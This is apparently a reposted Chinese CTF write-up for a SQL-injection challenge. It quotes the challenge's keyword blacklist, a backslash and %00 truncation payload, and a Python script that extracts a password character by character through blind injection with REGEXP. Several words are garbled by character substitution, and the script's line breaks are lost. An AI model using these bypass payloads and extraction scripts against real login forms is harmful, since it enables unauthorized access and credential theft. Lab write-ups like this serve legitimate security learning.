知识点
WP
来日诰日考数据库,概念属实背不下去了,做一道sql注入来放松放松。
首先进入环境,提示要try to make the sqlquery have its own results。
看到语句是这样:
- select * from users where username='' and passwd=''
复制代码 推测大概过滤了许多东西,颠末信息收集发现存在robots.txt,内里写了hint.txt,内里的内容如下:
$black_list = “/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|’|=| |in||-|.|()|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i”;
If $_POST[‘passwd’] === admin’s password,
Then you will get the flag;
发现过滤了许多东西,而且需要我们传正确的passwd才气得到flag。
首先发现没有过滤反斜杠,因此可以转义单引号。但是问题是过滤了# - '这三个东西,我们就没法将最后多出来的单引号给去掉。
我查了一下,发现了可以00截断。看了一下题目的环境:
确实是存在00截断的php版本,因此使用00截断:
- username=\&passwd=||(1);%00
复制代码 然后就是想办法注入了。因为过滤了Like,可以用REGEXP来注入,脚本如下:
- import requestsimport stringfrom urllib.parse import unquoteurl='http://fcc7d9e3-cb5c-4a51-a351-c90d1d2da1d3.node3.buuoj.cn/'strs = string.ascii_letters+string.digits+"_"result=''payload="||(passwd/**/regexp**/0x{});"#payload="||(username/**/regexp/**/0x{});"while 1: for j in strs: p1="^"+result+j p2=bytes(p1,'UTF-8') pp=p2.hex() ppp=payload.format(pp) zero=unquote("%00", 'utf-8') ppp+=zero data={ "username":"\", "passwd":ppp } #print(data) r=requests.post(url=url,data=data).text #print(r) #break if "welcome" in r: result+=j print(result) break #print(data)
复制代码 大概爆出的是有大写有小写的,转成小写就好了。然后输入暗码得到flag。
写完后看了一下WP,发现因为没有过滤双引号,所以可以不消16进制来绕过,直接拿双引号就可以了。
来源:https://blog.csdn.net/rfrder/article/details/112000465
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |